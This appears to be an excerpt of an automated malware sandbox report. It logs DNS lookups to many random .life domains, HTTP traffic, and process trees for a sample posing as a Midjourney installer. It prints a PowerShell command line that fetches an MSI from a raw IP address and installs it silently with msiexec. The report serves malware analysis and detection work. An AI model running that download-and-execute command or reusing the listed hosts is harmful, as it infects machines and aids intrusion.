Oct 3, 2024 09:21:55.683782101 CEST	192.168.2.9	1.1.1.1	0xe387	Standard query (0)	8mgj12azbyd.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.699057102 CEST	192.168.2.9	1.1.1.1	0xd9ad	Standard query (0)	l6syolvczan.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.714871883 CEST	192.168.2.9	1.1.1.1	0xbce1	Standard query (0)	mk7plk9c6i2.life	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.730279922 CEST	192.168.2.9	1.1.1.1	0xfc98	Standard query (0)	hudrx8fn980.life	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 09:20:44.139198065 CEST	1.1.1.1	192.168.2.9	0x429a	Name error (3)	tvx1ovdepj8.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:46.407536983 CEST	1.1.1.1	192.168.2.9	0x24f6	Name error (3)	acgr6r8zdot.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:48.428833961 CEST	1.1.1.1	192.168.2.9	0x78f8	Name error (3)	ilofx941igp.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:50.454922915 CEST	1.1.1.1	192.168.2.9	0xb6c7	Name error (3)	8x2apo5m7ri.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:52.477595091 CEST	1.1.1.1	192.168.2.9	0xdb55	Name error (3)	x9yrzer0ndt.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:54.495857000 CEST	1.1.1.1	192.168.2.9	0xf3e9	Name error (3)	93j4v4jopzd.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:57.563091040 CEST	1.1.1.1	192.168.2.9	0xa84	No error (0)	ameagxzo2f7.life		185.26.238.223	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:20:59.599040985 CEST	1.1.1.1	192.168.2.9	0xd32a	Name error (3)	nyy41uibsv5.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:01.616451979 CEST	1.1.1.1	192.168.2.9	0x400b	Name error (3)	ru4jvijdytq.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:04.633277893 CEST	1.1.1.1	192.168.2.9	0x8e64	Name error (3)	l9t6r0y6cvi.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:06.647084951 CEST	1.1.1.1	192.168.2.9	0x23e2	Name error (3)	f4vb9n3tdvh.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:09.662805080 CEST	1.1.1.1	192.168.2.9	0x5f2c	Name error (3)	9do3mcejztt.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:12.677344084 CEST	1.1.1.1	192.168.2.9	0xf921	Name error (3)	pxu1ajsdhqr.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:14.693217993 CEST	1.1.1.1	192.168.2.9	0x9ed7	Name error (3)	7exy2b231n2.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:17.708304882 CEST	1.1.1.1	192.168.2.9	0xf8fb	Name error (3)	vu5b47m18jn.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:19.697890043 CEST	1.1.1.1	192.168.2.9	0x260f	Name error (3)	6mnudp7zj73.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:21.665627003 CEST	1.1.1.1	192.168.2.9	0x1c5f	Name error (3)	p5047yjrb8q.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:24.369963884 CEST	1.1.1.1	192.168.2.9	0x3c63	Name error (3)	d0xtxp89bb9.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:26.188956022 CEST	1.1.1.1	192.168.2.9	0xc212	No error (0)	ygo9u1fkwux.life		37.27.203.12	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:27.630079985 CEST	1.1.1.1	192.168.2.9	0xfc56	Name error (3)	fig3gj0v6qe.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:29.781928062 CEST	1.1.1.1	192.168.2.9	0x51f	No error (0)	38f5wvwwn7o.life		185.93.221.123	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:31.053992033 CEST	1.1.1.1	192.168.2.9	0xc15d	Name error (3)	txgogs9p8a1.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:32.901067972 CEST	1.1.1.1	192.168.2.9	0x59	No error (0)	uyn0icgx1kv.life		38.180.144.181	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:35.077259064 CEST	1.1.1.1	192.168.2.9	0x5e85	Name error (3)	2z1ls31az7s.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:36.001826048 CEST	1.1.1.1	192.168.2.9	0x5631	No error (0)	0cc2z8zrnhf.life		95.156.207.204	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:36.962421894 CEST	1.1.1.1	192.168.2.9	0xdd57	No error (0)	fsr2hskx44p.life		185.81.114.195	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:37.925409079 CEST	1.1.1.1	192.168.2.9	0x399c	Server failure (2)	du19ek78tjw.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:38.677671909 CEST	1.1.1.1	192.168.2.9	0x67b0	Name error (3)	234ct3lkozp.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:39.381058931 CEST	1.1.1.1	192.168.2.9	0x8b61	Name error (3)	he8fq4k8d3w.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:40.037493944 CEST	1.1.1.1	192.168.2.9	0xf12f	Name error (3)	7ewh8ltr7il.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:40.942934990 CEST	1.1.1.1	192.168.2.9	0x43de	Name error (3)	dw34kmgfl7t.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:41.755083084 CEST	1.1.1.1	192.168.2.9	0xab66	Name error (3)	f2j20ayqh8y.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:42.490700960 CEST	1.1.1.1	192.168.2.9	0xdd11	Name error (3)	331k2rdkmmb.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:42.943542004 CEST	1.1.1.1	192.168.2.9	0xd45e	Name error (3)	37z6li6l9y2.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:43.568011999 CEST	1.1.1.1	192.168.2.9	0x38fc	Name error (3)	dpgs2lt1sbz.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:43.950970888 CEST	1.1.1.1	192.168.2.9	0xea5d	Name error (3)	plll0xq4y82.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:44.301908016 CEST	1.1.1.1	192.168.2.9	0x89ef	Name error (3)	bzc9sq2pz53.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:44.804564953 CEST	1.1.1.1	192.168.2.9	0x186f	Name error (3)	7r8ln1wswth.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.114787102 CEST	1.1.1.1	192.168.2.9	0xf5e4	Name error (3)	y9neib92f2m.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.536577940 CEST	1.1.1.1	192.168.2.9	0x438f	Name error (3)	m5iukps17y7.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:45.786864996 CEST	1.1.1.1	192.168.2.9	0x3982	Name error (3)	xo8be64ejh2.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.037563086 CEST	1.1.1.1	192.168.2.9	0x23d0	Name error (3)	widn8soih8u.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.417844057 CEST	1.1.1.1	192.168.2.9	0x558e	Name error (3)	08mkuqnx6gv.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.630275011 CEST	1.1.1.1	192.168.2.9	0xf9ae	Name error (3)	lzeqr3apopn.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:46.834495068 CEST	1.1.1.1	192.168.2.9	0x3065	Name error (3)	o4m5a5no7e8.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.099611998 CEST	1.1.1.1	192.168.2.9	0x95ca	Name error (3)	2u8znzsbrto.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.270559072 CEST	1.1.1.1	192.168.2.9	0xe238	Name error (3)	dxyob8x456a.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.504610062 CEST	1.1.1.1	192.168.2.9	0x1e3f	Name error (3)	lrugnff8fkc.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:47.646743059 CEST	1.1.1.1	192.168.2.9	0x9a40	Name error (3)	38i6lh0rpze.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.008940935 CEST	1.1.1.1	192.168.2.9	0xd383	Name error (3)	mjb3r6mcs1f.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.280677080 CEST	1.1.1.1	192.168.2.9	0xd7a	Name error (3)	vl41cymzzfq.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.583185911 CEST	1.1.1.1	192.168.2.9	0xded8	Name error (3)	qc4mwjiop45.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:48.949414015 CEST	1.1.1.1	192.168.2.9	0x9564	Name error (3)	z3z4fq0420z.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:49.053158998 CEST	1.1.1.1	192.168.2.9	0x74ae	Name error (3)	0tab35o0swu.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:49.148497105 CEST	1.1.1.1	192.168.2.9	0x19b4	Name error (3)	4izk0gc9is6.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.341221094 CEST	1.1.1.1	192.168.2.9	0xc1e4	Name error (3)	6brdh3p893b.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.346182108 CEST	1.1.1.1	192.168.2.9	0xc1e4	Name error (3)	6brdh3p893b.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.620297909 CEST	1.1.1.1	192.168.2.9	0x8ada	No error (0)	736d0mvetjw.life		65.108.214.195	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.857245922 CEST	1.1.1.1	192.168.2.9	0xa89e	Name error (3)	drmk5rdefb5.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:50.958117008 CEST	1.1.1.1	192.168.2.9	0x6bff	Name error (3)	1v0xhie4os8.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.052196980 CEST	1.1.1.1	192.168.2.9	0x77c7	Name error (3)	khxcp22s3dz.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.130182981 CEST	1.1.1.1	192.168.2.9	0xdfff	Name error (3)	8z9m8hndrhp.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.292093039 CEST	1.1.1.1	192.168.2.9	0x766a	Name error (3)	xeoz1f1vjs0.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.508444071 CEST	1.1.1.1	192.168.2.9	0xa7c1	Name error (3)	lobavyclh8e.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.701852083 CEST	1.1.1.1	192.168.2.9	0x64d2	Name error (3)	in4pzu7t2pv.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.755517006 CEST	1.1.1.1	192.168.2.9	0x4ce5	Name error (3)	j280b59doxz.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:51.963382006 CEST	1.1.1.1	192.168.2.9	0x58c2	Name error (3)	6q894zusd4k.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.023513079 CEST	1.1.1.1	192.168.2.9	0x6a2d	Name error (3)	y7pzxau0717.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.067548990 CEST	1.1.1.1	192.168.2.9	0xd20b	Name error (3)	bev8ymaajb7.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.099375010 CEST	1.1.1.1	192.168.2.9	0xbde4	Name error (3)	glux8x5b8d6.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.321182013 CEST	1.1.1.1	192.168.2.9	0xacd1	No error (0)	yan95akxgqt.life		38.180.143.64	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.756535053 CEST	1.1.1.1	192.168.2.9	0xdcff	No error (0)	9qiliikd3sp.life		45.155.37.103	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.802400112 CEST	1.1.1.1	192.168.2.9	0x26dd	Name error (3)	ge0lpqif3ar.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.849586010 CEST	1.1.1.1	192.168.2.9	0x8086	Name error (3)	ar7xakeve0o.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.880544901 CEST	1.1.1.1	192.168.2.9	0x8cf5	Name error (3)	eb4l6wisq9z.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.912230968 CEST	1.1.1.1	192.168.2.9	0x64a0	Name error (3)	1grovn87c8s.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.943084955 CEST	1.1.1.1	192.168.2.9	0x8b1c	Name error (3)	wdga570b8pz.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:52.978518009 CEST	1.1.1.1	192.168.2.9	0xfe1e	Name error (3)	nzs8vi9w5o8.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.127496958 CEST	1.1.1.1	192.168.2.9	0xf5fe	No error (0)	q7dfpyyhe08.life		213.109.192.75	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.163223982 CEST	1.1.1.1	192.168.2.9	0x4233	Name error (3)	exueqqmz3ia.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.194133043 CEST	1.1.1.1	192.168.2.9	0x1d54	Name error (3)	65r8nx12fqr.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.242420912 CEST	1.1.1.1	192.168.2.9	0x57be	Name error (3)	vauy5ah65sx.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.356018066 CEST	1.1.1.1	192.168.2.9	0x6079	Name error (3)	8hjv8mbhrlj.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.542720079 CEST	1.1.1.1	192.168.2.9	0x7e6a	Name error (3)	eeqwg3mzq07.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.568758965 CEST	1.1.1.1	192.168.2.9	0x6015	Name error (3)	b1h0uaabzyz.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.599530935 CEST	1.1.1.1	192.168.2.9	0x61dc	Name error (3)	8qvt5iabz5n.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.631489038 CEST	1.1.1.1	192.168.2.9	0x2369	Name error (3)	8ru044xed25.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.806502104 CEST	1.1.1.1	192.168.2.9	0xeda9	Name error (3)	w8ligr695sd.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:53.982960939 CEST	1.1.1.1	192.168.2.9	0x3084	Name error (3)	3e6rrifr5fn.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.260766983 CEST	1.1.1.1	192.168.2.9	0xf40b	Name error (3)	9f6p9g7x13s.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.350308895 CEST	1.1.1.1	192.168.2.9	0xc305	No error (0)	ibcm5at6qrz.life		144.208.127.113	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:54.499773979 CEST	1.1.1.1	192.168.2.9	0xd32f	No error (0)	spd22scperm.life		185.36.140.112	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.330486059 CEST	1.1.1.1	192.168.2.9	0xa814	No error (0)	07zxfo0kere.life		38.180.86.21	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.476520061 CEST	1.1.1.1	192.168.2.9	0xd7d5	No error (0)	nhdeapyfg7e.life		84.32.84.32	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.506990910 CEST	1.1.1.1	192.168.2.9	0x4343	Name error (3)	y0zvqpi42no.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.665296078 CEST	1.1.1.1	192.168.2.9	0xf8d9	Name error (3)	zdf5ki8x9r0.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.694485903 CEST	1.1.1.1	192.168.2.9	0xe387	Name error (3)	8mgj12azbyd.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.709719896 CEST	1.1.1.1	192.168.2.9	0xd9ad	Name error (3)	l6syolvczan.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.724673986 CEST	1.1.1.1	192.168.2.9	0xbce1	Name error (3)	mk7plk9c6i2.life	none	none	A (IP address)	IN (0x0001)	false
Oct 3, 2024 09:21:55.739720106 CEST	1.1.1.1	192.168.2.9	0xfc98	Name error (3)	hudrx8fn980.life	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.242.145.138

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	193.242.145.138	80	4192	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 09:20:33.914211988 CEST	181	OUT	GET /mid/w1/Midjourney.msi HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.242.145.138 Connection: Keep-Alive
Oct 3, 2024 09:20:34.524560928 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 07:20:34 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 02 Oct 2024 16:46:47 GMT ETag: "291c00-623812f0f9a0a" Accept-Ranges: bytes Content-Length: 2694144 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msi Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 06 00 00 00 00 00 00 00 00 00 00 00 2a 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 03 00 00 00 02 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 45 00 00 00 cf 00 00 00 61 01 00 00 f5 01 00 00 6e 02 00 00 f3 02 00 00 0d 03 00 00 0e 03 00 00 0f 03 00 00 10 03 00 00 11 03 00 00 12 03 00 00 13 03 00 00 14 03 00 00 15 03 00 00 16 03 00 00 17 03 00 00 18 03 00 00 7a 09 00 00 08 00 00 00 2d 0a 00 00 b0 0a 00 00 b1 0a 00 00 b2 0a 00 00 b3 0a 00 00 b4 0a 00 00 b5 0a 00 00 b6 0a 00 00 b7 0a 00 00 b8 0a 00 00 b9 0a 00 00 ba 0a 00 00 bb 0a 00 00 bc 0a 00 00 bd 0a 00 00 be 0a 00 00 bf 0a 00 00 c0 0a 00 00 c1 0a 00 00 c2 0a 00 00 c3 0a 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [TRUNCATED] Data Ascii: >Eanz-"5 !-#2%&'()+,./01634=?789:;<>@ABCDGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij
Oct 3, 2024 09:20:34.524583101 CEST	1236	IN	Data Raw: 6b 00 00 00 6c 00 00 00 6d 00 00 00 6e 00 00 00 6f 00 00 00 70 00 00 00 71 00 00 00 72 00 00 00 73 00 00 00 74 00 00 00 75 00 00 00 76 00 00 00 77 00 00 00 78 00 00 00 79 00 00 00 7a 00 00 00 7b 00 00 00 7c 00 00 00 7d 00 00 00 7e 00 00 00 7f 00 Data Ascii: klmnopqrstuvwxyz{\|}~Root EntryF x9SummaryInform
Oct 3, 2024 09:20:34.524595022 CEST	1236	IN	Data Raw: 20 00 00 00 21 00 00 00 22 00 00 00 23 00 00 00 26 00 00 00 fe ff ff ff fe ff ff ff 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 31 00 00 00 32 00 00 00 39 00 00 00 34 00 Data Ascii: !"#&'()*+,-./012945678:;<=>?@AJCDEFGHKMOQRSTUVWXYZ[\
Oct 3, 2024 09:20:34.524758101 CEST	1236	IN	Data Raw: 1c 00 1d 00 21 00 22 00 0c 00 28 00 29 00 2a 00 2b 00 2c 00 2d 00 2e 00 2f 00 30 00 06 00 30 00 4d 00 03 00 36 00 24 01 26 01 28 01 aa 00 01 00 b8 00 2a 01 3e 00 fa 00 3f 00 0d 00 7e 00 22 00 5f 00 81 00 7e 00 97 00 37 00 9a 00 6c 00 49 00 a2 00 Data Ascii: !"()+,-./00M6$&(>?~"_~7lIeEGH0QKLO"URn_~I_~I\^_~_~IblHhef7l_I^
Oct 3, 2024 09:20:34.524770021 CEST	1236	IN	Data Raw: 0a 0a 00 00 0b 0a 00 00 0c 0a 00 00 0d 0a 00 00 0e 0a 00 00 0f 0a 00 00 10 0a 00 00 11 0a 00 00 12 0a 00 00 13 0a 00 00 14 0a 00 00 15 0a 00 00 16 0a 00 00 17 0a 00 00 18 0a 00 00 19 0a 00 00 1a 0a 00 00 1b 0a 00 00 1c 0a 00 00 1d 0a 00 00 1e 0a Data Ascii: !"#$%&'()*,/0123456789:;<=>?@ABCDEF
Oct 3, 2024 09:20:34.524780989 CEST	1236	IN	Data Raw: 65 67 69 73 74 72 79 20 76 61 6c 75 65 2e 52 61 64 69 6f 42 75 74 74 6f 6e 54 68 65 20 76 65 72 74 69 63 61 6c 20 63 6f 6f 72 64 69 6e 61 74 65 20 6f 66 20 74 68 65 20 75 70 70 65 72 20 6c 65 66 74 20 63 6f 72 6e 65 72 20 6f 66 20 74 68 65 20 62 Data Ascii: egistry value.RadioButtonThe vertical coordinate of the upper left corner of the bounding rectangle of the radio button.EventMappingAttributeThe name of the control attribute, that is set when this event is received.FeatureTitleTextShort text
Oct 3, 2024 09:20:34.525048018 CEST	1236	IN	Data Raw: 20 74 79 70 65 2c 20 63 6f 6e 73 69 73 74 69 6e 67 20 6f 66 20 73 6f 75 72 63 65 20 6c 6f 63 61 74 69 6f 6e 2c 20 63 6f 64 65 20 74 79 70 65 2c 20 65 6e 74 72 79 2c 20 6f 70 74 69 6f 6e 20 66 6c 61 67 73 2e 48 65 69 67 68 74 48 65 69 67 68 74 20 Data Ascii: type, consisting of source location, code type, entry, option flags.HeightHeight of the bounding rectangle of the dialog.DefaultDirThe default sub-path under parent's path.AdminUISequenceNumber that determines the sort order in which the acti
Oct 3, 2024 09:20:34.525058985 CEST	108	IN	Data Raw: 75 65 20 73 74 72 69 6e 67 20 61 73 73 6f 63 69 61 74 65 64 20 77 69 74 68 20 74 68 69 73 20 69 74 65 6d 2e 20 53 65 6c 65 63 74 69 6e 67 20 74 68 65 20 6c 69 6e 65 20 77 69 6c 6c 20 73 65 74 20 74 68 65 20 61 73 73 6f 63 69 61 74 65 64 20 70 72 Data Ascii: ue string associated with this item. Selecting the line will set the associated property to this value.Compo
Oct 3, 2024 09:20:34.529490948 CEST	1236	IN	Data Raw: 6e 65 6e 74 50 72 69 6d 61 72 79 20 6b 65 79 20 75 73 65 64 20 74 6f 20 69 64 65 6e 74 69 66 79 20 61 20 70 61 72 74 69 63 75 6c 61 72 20 63 6f 6d 70 6f 6e 65 6e 74 20 72 65 63 6f 72 64 2e 43 6f 6d 70 6f 6e 65 6e 74 49 64 47 75 69 64 41 20 73 74 Data Ascii: nentPrimary key used to identify a particular component record.ComponentIdGuidA string GUID unique to this component, version, and language.Required key of a Directory table record. This is actually a property name whose value contains the act
Oct 3, 2024 09:20:34.529548883 CEST	1236	IN	Data Raw: 20 64 69 61 6c 6f 67 73 2e 20 54 68 65 20 74 79 70 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 58 48 6f 72 69 7a 6f 6e 74 61 6c 20 63 6f 6f 72 64 69 6e 61 74 65 20 6f 66 20 74 68 65 20 75 70 70 65 72 20 6c 65 66 74 20 63 6f 72 6e 65 72 20 Data Ascii: dialogs. The type of the control.XHorizontal coordinate of the upper left corner of the bounding rectangle of the control.Vertical coordinate of the upper left corner of the bounding rectangle of the control.WidthWidth of the bounding rectang
Oct 3, 2024 09:20:34.529561996 CEST	1236	IN	Data Raw: 74 61 6b 65 20 70 6c 61 63 65 20 77 68 65 6e 20 74 68 65 20 75 73 65 72 20 69 6e 74 65 72 61 63 74 73 20 77 69 74 68 20 63 6f 6e 74 72 6f 6c 20 73 70 65 63 69 66 69 65 64 20 62 79 20 74 68 65 20 66 69 72 73 74 20 74 77 6f 20 65 6e 74 72 69 65 73 Data Ascii: take place when the user interacts with control specified by the first two entries.ArgumentA value to be used as a modifier when triggering a particular event.A standard conditional statement that specifies under which conditions an event shou

Target ID:	0
Start time:	03:20:29
Start date:	03/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:20:29
Start date:	03/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:20:36
Start date:	03/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Roaming\y.msi /qn
Imagebase:	0x7ff788360000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	03:20:36
Start date:	03/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\msiexec.exe /V
Imagebase:	0x7ff788360000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:20:36
Start date:	03/10/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\syswow64\MsiExec.exe -Embedding 800D0887C271C3914D75F510FDC66322
Imagebase:	0xb40000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:20:37
Start date:	03/10/2024
Path:	C:\Windows\System32\msiexec.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"
Imagebase:	0x7ff788360000
File size:	69'632 bytes
MD5 hash:	E5DA170027542E25EDE42FC54C929077
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Function 00007FF8880333B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1554825275.00007FF888030000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF888030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff888030000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
